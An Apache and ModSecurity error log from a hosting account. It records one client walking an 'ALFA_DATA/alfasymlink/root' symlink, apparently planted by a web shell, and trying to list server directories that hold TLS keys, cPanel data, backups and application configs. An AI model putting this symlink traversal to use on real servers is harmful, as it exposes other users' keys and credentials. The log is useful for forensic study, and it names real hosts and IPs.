[Sun Oct 25 14:27:07.225280 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/p_Vpg5SIle/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/p_Vpg5SIle/' is executable
[Sun Oct 25 14:27:07.225293 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/2qjNiW1LMS/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/2qjNiW1LMS/' is executable
[Sun Oct 25 14:27:07.225311 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/Y6sES0AEnt/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/Y6sES0AEnt/' is executable
[Sun Oct 25 14:27:07.225325 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-ea-php81-php-fpm.service-rdnwB9/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-ea-php81-php-fpm.service-rdnwB9/' is executable
[Sun Oct 25 14:27:07.281651 2026] [core:crit] [pid 2875790:tid 2875790] (13)Permission denied: [client 76.135.135.39:53621] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/apache2/run/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/apache2/run/' is executable
[Sun Oct 25 14:27:07.700465 2026] [autoindex:error] [pid 2879779:tid 2879779] (13)Permission denied: [client 76.135.135.39:53703] AH01275: Can't open directory for index: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/cpanel/
[Sun Oct 25 14:27:08.062173 2026] [security2:error] [pid 2879797:tid 2879797] [client 76.135.135.39:53764] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/depmod.d/"] [unique_id "at5J_L9X01LxN-t07olOWQAAAA8"]
[Sun Oct 25 14:27:08.062211 2026] [security2:error] [pid 2879797:tid 2879797] [client 76.135.135.39:53764] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/depmod.d/"] [unique_id "at5J_L9X01LxN-t07olOWQAAAA8"]
[Sun Oct 25 14:27:08.576570 2026] [core:crit] [pid 2879788:tid 2879788] (13)Permission denied: [client 76.135.135.39:53897] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/letsencrypt/live/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/letsencrypt/live/' is executable
[Sun Oct 25 14:27:08.576645 2026] [core:crit] [pid 2879788:tid 2879788] (13)Permission denied: [client 76.135.135.39:53897] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/letsencrypt/accounts/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/letsencrypt/accounts/' is executable
[Sun Oct 25 14:27:08.576671 2026] [core:crit] [pid 2879788:tid 2879788] (13)Permission denied: [client 76.135.135.39:53897] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/letsencrypt/keys/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/letsencrypt/keys/' is executable
[Sun Oct 25 14:27:08.576826 2026] [core:crit] [pid 2879788:tid 2879788] (13)Permission denied: [client 76.135.135.39:53897] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/letsencrypt/archive/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/letsencrypt/archive/' is executable
[Sun Oct 25 14:27:08.905423 2026] [security2:error] [pid 2879779:tid 2879779] [client 76.135.135.39:53933] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/opt/"] [unique_id "at5J_E8vJBi9DQrNMxzbJgAAAAE"]
[Sun Oct 25 14:27:08.905514 2026] [security2:error] [pid 2879779:tid 2879779] [client 76.135.135.39:53933] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/opt/"] [unique_id "at5J_E8vJBi9DQrNMxzbJgAAAAE"]
[Sun Oct 25 14:27:08.914979 2026] [core:crit] [pid 2875790:tid 2875790] (13)Permission denied: [client 76.135.135.39:53944] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/pki/kcare-gpg/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/pki/kcare-gpg/' is executable
[Sun Oct 25 14:27:08.915013 2026] [core:crit] [pid 2875790:tid 2875790] (13)Permission denied: [client 76.135.135.39:53944] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/pki/rsyslog/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/pki/rsyslog/' is executable
[Sun Oct 25 14:27:09.208707 2026] [core:crit] [pid 2879797:tid 2879797] (13)Permission denied: [client 76.135.135.39:54001] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/polkit-1/rules.d/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/polkit-1/rules.d/' is executable
[Sun Oct 25 14:27:09.208775 2026] [core:crit] [pid 2879797:tid 2879797] (13)Permission denied: [client 76.135.135.39:54001] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/polkit-1/localauthority/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/polkit-1/localauthority/' is executable
[Sun Oct 25 14:27:09.306968 2026] [autoindex:error] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:54021] AH01275: Can't open directory for index: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/proftpd/
[Sun Oct 25 14:27:09.307387 2026] [core:crit] [pid 2879787:tid 2879787] (13)Permission denied: [client 76.135.135.39:54017] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/pure-ftpd/64.20.54.226/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/pure-ftpd/64.20.54.226/' is executable
[Sun Oct 25 14:27:09.889598 2026] [autoindex:error] [pid 2879795:tid 2879795] (13)Permission denied: [client 76.135.135.39:54126] AH01275: Can't open directory for index: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/valiases/
[Sun Oct 25 14:27:09.949968 2026] [security2:error] [pid 2879815:tid 2879815] [client 76.135.135.39:54161] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/yum/"] [unique_id "at5J_TKhOWyUeggwyMGU9AAAABM"]
[Sun Oct 25 14:27:09.950017 2026] [security2:error] [pid 2879815:tid 2879815] [client 76.135.135.39:54161] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/yum/"] [unique_id "at5J_TKhOWyUeggwyMGU9AAAABM"]
[Sun Oct 25 14:27:09.967205 2026] [autoindex:error] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:54145] AH01275: Can't open directory for index: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/vdomainaliases/
[Sun Oct 25 14:27:10.070827 2026] [autoindex:error] [pid 2879791:tid 2879791] (13)Permission denied: [client 76.135.135.39:54173] AH01275: Can't open directory for index: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/vfilters/
[Sun Oct 25 14:27:10.275538 2026] [security2:error] [pid 2879793:tid 2879793] [client 76.135.135.39:54203] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/www/betaok/PHPMailer/"] [unique_id "at5J_kEMovXMXFoA8qfyXAAAAAs"]
[Sun Oct 25 14:27:10.275592 2026] [security2:error] [pid 2879793:tid 2879793] [client 76.135.135.39:54203] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/www/betaok/PHPMailer/"] [unique_id "at5J_kEMovXMXFoA8qfyXAAAAAs"]
[Sun Oct 25 14:27:11.109118 2026] [security2:error] [pid 2879818:tid 2879818] [client 76.135.135.39:54340] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib64/engines-1.1/"] [unique_id "at5J_1181590RZW3HmkOFAAAABE"]
[Sun Oct 25 14:27:11.109159 2026] [security2:error] [pid 2879818:tid 2879818] [client 76.135.135.39:54340] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib64/engines-1.1/"] [unique_id "at5J_1181590RZW3HmkOFAAAABE"]
[Sun Oct 25 14:27:13.328510 2026] [core:crit] [pid 2879786:tid 2879786] (13)Permission denied: [client 76.135.135.39:54825] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/backuply/data/users/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/backuply/data/users/' is executable
[Sun Oct 25 14:27:13.362698 2026] [autoindex:error] [pid 2879820:tid 2879820] (13)Permission denied: [client 76.135.135.39:54828] AH01275: Can't open directory for index: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/empty/sshd/
[Sun Oct 25 14:27:13.376681 2026] [security2:error] [pid 2879792:tid 2879792] [client 76.135.135.39:54841] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/opt/google/chrome/WidevineCdm/"] [unique_id "at5KAXkfygQFctYcqNINJQAAAAk"]
[Sun Oct 25 14:27:13.376715 2026] [security2:error] [pid 2879792:tid 2879792] [client 76.135.135.39:54841] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/opt/google/chrome/WidevineCdm/"] [unique_id "at5KAXkfygQFctYcqNINJQAAAAk"]
[Sun Oct 25 14:27:14.503394 2026] [security2:error] [pid 2879787:tid 2879787] [client 76.135.135.39:55118] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/tmp/analog/zacson1.sherwinpinturas.com/"] [unique_id "at5KArL65yENu4TluzerYgAAAAQ"]
[Sun Oct 25 14:27:14.503429 2026] [security2:error] [pid 2879787:tid 2879787] [client 76.135.135.39:55118] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/tmp/analog/zacson1.sherwinpinturas.com/"] [unique_id "at5KArL65yENu4TluzerYgAAAAQ"]
[Sun Oct 25 14:27:16.384056 2026] [core:error] [pid 2875828:tid 2875828] [client 76.135.135.39:55394] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace.
[Sun Oct 25 14:27:16.384115 2026] [core:error] [pid 2875828:tid 2875828] [client 76.135.135.39:55394] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace.
[Sun Oct 25 14:27:18.049202 2026] [autoindex:error] [pid 2879788:tid 2879788] [client 76.135.135.39:55658] AH01276: Cannot serve directory /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/elgg/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive
[Sun Oct 25 14:27:18.119462 2026] [autoindex:error] [pid 2879815:tid 2879815] [client 76.135.135.39:55676] AH01276: Cannot serve directory /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/epesi/: No matching DirectoryIndex (solevisible.phtm) found, and server-generated directory index forbidden by Options directive
[Sun Oct 25 14:27:18.140017 2026] [core:error] [pid 2879787:tid 2879787] [client 76.135.135.39:55686] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace.
[Sun Oct 25 14:27:18.140040 2026] [core:error] [pid 2879787:tid 2879787] [client 76.135.135.39:55686] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace.
[Sun Oct 25 14:27:18.160061 2026] [security2:error] [pid 2879793:tid 2879793] [client 76.135.135.39:55687] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/extplorer/"] [unique_id "at5KBkEMovXMXFoA8qfycwAAAAs"]
[Sun Oct 25 14:27:18.160114 2026] [security2:error] [pid 2879793:tid 2879793] [client 76.135.135.39:55687] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/extplorer/"] [unique_id "at5KBkEMovXMXFoA8qfycwAAAAs"]
[Sun Oct 25 14:27:18.596281 2026] [autoindex:error] [pid 2879787:tid 2879787] [client 76.135.135.39:55809] AH01276: Cannot serve directory /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/fusion/: No matching DirectoryIndex (solevisible.phtm) found, and server-generated directory index forbidden by Options directive
[Sun Oct 25 14:27:19.253409 2026] [core:error] [pid 2879798:tid 2879798] [client 76.135.135.39:55937] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace.
[Sun Oct 25 14:27:19.253434 2026] [core:error] [pid 2879798:tid 2879798] [client 76.135.135.39:55937] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace.
[Sun Oct 25 14:27:19.808598 2026] [core:error] [pid 2879792:tid 2879792] [client 76.135.135.39:56031] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace.
[Sun Oct 25 14:27:19.808627 2026] [core:error] [pid 2879792:tid 2879792] [client 76.135.135.39:56031] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace.
[Sun Oct 25 14:27:20.342539 2026] [autoindex:error] [pid 2879788:tid 2879788] [client 76.135.135.39:56135] AH01276: Cannot serve directory /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/luxcal/: No matching DirectoryIndex (solevisible.phtm) found, and server-generated directory index forbidden by Options directive
[Sun Oct 25 14:27:20.351593 2026] [security2:error] [pid 2875821:tid 2875821] [client 76.135.135.39:56141] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/lychee/"] [unique_id "at5KCDrZAlNl62fjFrfDhQAAAC0"]
[Sun Oct 25 14:27:20.351628 2026] [security2:error] [pid 2875821:tid 2875821] [client 76.135.135.39:56141] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/lychee/"] [unique_id "at5KCDrZAlNl62fjFrfDhQAAAC0"]
[Sun Oct 25 14:27:20.651359 2026] [authz_core:error] [pid 2879787:tid 2879787] [client 76.135.135.39:56219] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/mautic/index.php
[Sun Oct 25 14:27:22.694771 2026] [autoindex:error] [pid 2879792:tid 2879792] [client 76.135.135.39:56509] AH01276: Cannot serve directory /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/nextcloud/: No matching DirectoryIndex (index.php,index.html) found, and server-generated directory index forbidden by Options directive
[Sun Oct 25 14:27:22.755006 2026] [security2:error] [pid 2879793:tid 2879793] [client 76.135.135.39:56501] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/ninja/"] [unique_id "at5KCkEMovXMXFoA8qfygAAAAAs"]
[Sun Oct 25 14:27:22.755059 2026] [security2:error] [pid 2879793:tid 2879793] [client 76.135.135.39:56501] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/ninja/"] [unique_id "at5KCkEMovXMXFoA8qfygAAAAAs"]
[Sun Oct 25 14:27:23.641166 2026] [autoindex:error] [pid 2879821:tid 2879821] [client 76.135.135.39:56614] AH01276: Cannot serve directory /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/openb/: No matching DirectoryIndex (solevisible.phtm) found, and server-generated directory index forbidden by Options directive
[Sun Oct 25 14:27:23.791004 2026] [autoindex:error] [pid 2875828:tid 2875828] [client 76.135.135.39:56648] AH01276: Cannot serve directory /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/ossn/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive
[Sun Oct 25 14:27:23.871619 2026] [autoindex:error] [pid 2879787:tid 2879787] [client 76.135.135.39:56660] AH01276: Cannot serve directory /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/owncloud/: No matching DirectoryIndex (index.php,index.html) found, and server-generated directory index forbidden by Options directive
[Sun Oct 25 14:27:24.383908 2026] [core:error] [pid 2879785:tid 2879785] [client 76.135.135.39:56760] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace.
[Sun Oct 25 14:27:24.383947 2026] [core:error] [pid 2879785:tid 2879785] [client 76.135.135.39:56760] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace.
[Sun Oct 25 14:27:24.928982 2026] [autoindex:error] [pid 2879831:tid 2879831] [client 76.135.135.39:56869] AH01276: Cannot serve directory /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/presta17/: No matching DirectoryIndex (solevisible.phtm) found, and server-generated directory index forbidden by Options directive
[Sun Oct 25 14:27:25.147392 2026] [security2:error] [pid 2878642:tid 2878642] [client 76.135.135.39:56914] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/roundcube/"] [unique_id "at5KDSOJ5J2CO9rwTwq18gAAAAA"]
[Sun Oct 25 14:27:25.147437 2026] [security2:error] [pid 2878642:tid 2878642] [client 76.135.135.39:56914] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/roundcube/"] [unique_id "at5KDSOJ5J2CO9rwTwq18gAAAAA"]
[Sun Oct 25 14:27:25.316055 2026] [security2:error] [pid 2875796:tid 2875796] [client 76.135.135.39:56947] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/sidu/"] [unique_id "at5KDWRf2IcMpPbtfDaA3QAAABI"]
[Sun Oct 25 14:27:25.316101 2026] [security2:error] [pid 2875796:tid 2875796] [client 76.135.135.39:56947] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/sidu/"] [unique_id "at5KDWRf2IcMpPbtfDaA3QAAABI"]
[Sun Oct 25 14:27:25.438631 2026] [access_compat:error] [pid 2879819:tid 2879819] [client 76.135.135.39:56950] AH01797: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/s9y/serendipity_config_local.inc.php
[Sun Oct 25 14:27:25.466520 2026] [autoindex:error] [pid 2879797:tid 2879797] [client 76.135.135.39:56955] AH01276: Cannot serve directory /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/schlix/: No matching DirectoryIndex (solevisible.phtm) found, and server-generated directory index forbidden by Options directive
[Sun Oct 25 14:27:25.667380 2026] [security2:error] [pid 2875790:tid 2875790] [client 76.135.135.39:56979] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/sitemagic/"] [unique_id "at5KDcSJT0_jmTzdctlKbwAAAAo"]
[Sun Oct 25 14:27:25.667416 2026] [security2:error] [pid 2875790:tid 2875790] [client 76.135.135.39:56979] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/sitemagic/"] [unique_id "at5KDcSJT0_jmTzdctlKbwAAAAo"]
[Sun Oct 25 14:27:26.298849 2026] [core:error] [pid 2875796:tid 2875796] [client 76.135.135.39:57104] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace.
[Sun Oct 25 14:27:26.298878 2026] [core:error] [pid 2875796:tid 2875796] [client 76.135.135.39:57104] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace.
[Sun Oct 25 14:27:26.304790 2026] [ssl:error] [pid 2879798:tid 2879798] (70014)End of file found: [client 98.82.40.168:37300] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:27:26.946242 2026] [security2:error] [pid 2875790:tid 2875790] [client 76.135.135.39:57220] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/una/"] [unique_id "at5KDsSJT0_jmTzdctlKcwAAAAo"]
[Sun Oct 25 14:27:26.946290 2026] [security2:error] [pid 2875790:tid 2875790] [client 76.135.135.39:57220] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/una/"] [unique_id "at5KDsSJT0_jmTzdctlKcwAAAAo"]
[Sun Oct 25 14:27:27.452585 2026] [security2:error] [pid 2875796:tid 2875796] [client 76.135.135.39:57320] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/whmcs82/"] [unique_id "at5KD2Rf2IcMpPbtfDaA5AAAABI"]
[Sun Oct 25 14:27:27.452624 2026] [security2:error] [pid 2875796:tid 2875796] [client 76.135.135.39:57320] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/whmcs82/"] [unique_id "at5KD2Rf2IcMpPbtfDaA5AAAABI"]
[Sun Oct 25 14:27:28.641451 2026] [autoindex:error] [pid 2879790:tid 2879790] [client 76.135.135.39:57525] AH01276: Cannot serve directory /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/zenario/: No matching DirectoryIndex (solevisible.phtm) found, and server-generated directory index forbidden by Options directive
[Sun Oct 25 14:27:28.699756 2026] [core:crit] [pid 2879818:tid 2879818] (13)Permission denied: [client 76.135.135.39:57534] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/opt/cpanel/ea-php82/root/root/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/opt/cpanel/ea-php82/root/root/' is executable
[Sun Oct 25 14:27:28.770226 2026] [core:crit] [pid 2879821:tid 2879821] (13)Permission denied: [client 76.135.135.39:57540] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/opt/cpanel/ea-php81/root/root/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/opt/cpanel/ea-php81/root/root/' is executable
[Sun Oct 25 14:27:30.148811 2026] [ssl:error] [pid 2875828:tid 2875828] (70014)End of file found: [client 52.73.6.26:55300] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:27:30.270851 2026] [security2:error] [pid 2878642:tid 2878642] [client 76.135.135.39:57853] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/tmp/webalizer/wapi1.sherwinpinturas.com/"] [unique_id "at5KEiOJ5J2CO9rwTwq2BAAAAAA"]
[Sun Oct 25 14:27:30.270902 2026] [security2:error] [pid 2878642:tid 2878642] [client 76.135.135.39:57853] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/tmp/webalizer/wapi1.sherwinpinturas.com/"] [unique_id "at5KEiOJ5J2CO9rwTwq2BAAAAAA"]
[Sun Oct 25 14:27:30.889894 2026] [core:crit] [pid 2879819:tid 2879819] (13)Permission denied: [client 76.135.135.39:57962] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/www/ALFA_DATA/alfasymlink/root/lost+found/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/www/ALFA_DATA/alfasymlink/root/lost+found/' is executable
